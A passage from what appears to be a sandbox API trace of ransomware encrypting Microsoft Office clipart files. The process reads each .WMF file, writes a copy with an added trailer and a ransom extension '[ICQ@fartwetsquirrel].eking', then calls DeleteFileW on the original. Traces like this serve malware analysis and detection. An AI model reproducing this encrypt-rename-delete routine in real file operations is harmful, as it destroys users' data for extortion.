hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x364 [0269.430] ReadFile (in: hFile=0x380, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xe30, lpOverlapped=0x0) returned 1 [0269.513] WriteFile (in: hFile=0x364, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xe40, lpOverlapped=0x0) returned 1 [0269.515] WriteFile (in: hFile=0x364, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0269.515] CloseHandle (hObject=0x380) returned 1 [0269.515] CloseHandle (hObject=0x364) returned 1 [0269.515] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0 [0269.516] SetEvent (hEvent=0x2b8) returned 1 [0269.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0269.517] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=3616) returned 1 [0269.517] CloseHandle (hObject=0x364) returned 1 [0269.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x220 [0269.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x220 [0269.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0269.519] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.519] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0269.520] ReadFile (in: hFile=0x364, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xe20, lpOverlapped=0x0) returned 1 [0269.544] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xe30, lpOverlapped=0x0) returned 1 [0269.546] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0269.546] CloseHandle (hObject=0x364) returned 1 [0269.547] CloseHandle (hObject=0x380) returned 1 [0269.547] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf")) returned 0 [0269.547] SetEvent (hEvent=0x2b8) returned 1 [0269.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0269.549] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2140) returned 1 [0269.549] CloseHandle (hObject=0x380) returned 1 [0269.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x220 [0269.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x220 [0269.549] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0269.550] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.550] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x364 [0269.553] ReadFile (in: hFile=0x380, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x85c, lpOverlapped=0x0) returned 1 [0269.560] WriteFile (in: hFile=0x364, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x860, lpOverlapped=0x0) returned 1 [0269.563] WriteFile (in: hFile=0x364, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0269.563] CloseHandle (hObject=0x380) returned 1 [0269.563] CloseHandle (hObject=0x364) returned 1 [0269.563] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01143_.wmf")) returned 0 [0269.564] SetEvent (hEvent=0x2b8) returned 1 [0269.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0269.566] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2780) returned 1 [0269.566] CloseHandle (hObject=0x364) returned 1 [0269.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220 [0269.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220 [0269.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0269.567] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.568] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0269.569] ReadFile (in: hFile=0x364, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xadc, lpOverlapped=0x0) returned 1 [0269.586] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xae0, lpOverlapped=0x0) returned 1 [0269.588] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0269.588] CloseHandle (hObject=0x364) returned 1 [0269.588] CloseHandle (hObject=0x380) returned 1 [0269.589] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0 [0269.589] SetEvent (hEvent=0x2b8) returned 1 [0269.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0269.590] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2796) returned 1 [0269.591] CloseHandle (hObject=0x380) returned 1 [0269.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220 [0269.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x220 [0269.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0269.592] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.592] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3b4 [0269.860] ReadFile (in: hFile=0x380, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xaec, lpOverlapped=0x0) returned 1 [0269.889] WriteFile (in: hFile=0x3b4, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xaf0, lpOverlapped=0x0) returned 1 [0269.891] WriteFile (in: hFile=0x3b4, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0269.891] CloseHandle (hObject=0x380) returned 1 [0269.891] CloseHandle (hObject=0x3b4) returned 1 [0269.892] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01146_.wmf")) returned 0 [0269.892] SetEvent (hEvent=0x2b8) returned 1 [0269.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0269.894] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2960) returned 1 [0269.894] CloseHandle (hObject=0x3b4) returned 1 [0269.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x220 [0269.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x220 [0269.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0269.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0269.895] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.895] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0269.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0269.896] ReadFile (in: hFile=0x3b4, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0xb90, lpOverlapped=0x0) returned 1 [0269.956] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xba0, lpOverlapped=0x0) returned 1 [0269.957] WriteFile (in: hFile=0x380, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0269.958] CloseHandle (hObject=0x3b4) returned 1 [0269.958] CloseHandle (hObject=0x380) returned 1 [0269.958] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0 [0269.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.838] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2300) returned 1 [0270.838] CloseHandle (hObject=0x380) returned 1 [0270.838] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220 [0270.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220 [0270.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0270.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0270.840] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0270.840] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0270.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x398 [0270.845] ReadFile (in: hFile=0x380, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x8fc, lpOverlapped=0x0) returned 1 [0270.850] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x900, lpOverlapped=0x0) returned 1 [0270.851] WriteFile (in: hFile=0x398, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0xf2, lpOverlapped=0x0) returned 1 [0270.851] CloseHandle (hObject=0x380) returned 1 [0270.851] CloseHandle (hObject=0x398) returned 1 [0270.852] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0 [0270.852] SetEvent (hEvent=0x2b8) returned 1 [0270.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0270.853] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2052) returned 1 [0270.854] CloseHandle (hObject=0x398) returned 1 [0270.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220 [0270.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220 [0270.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0270.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0270.855] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0270.855] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0270.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0270.856] ReadFile (in: hFile=0x398, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, 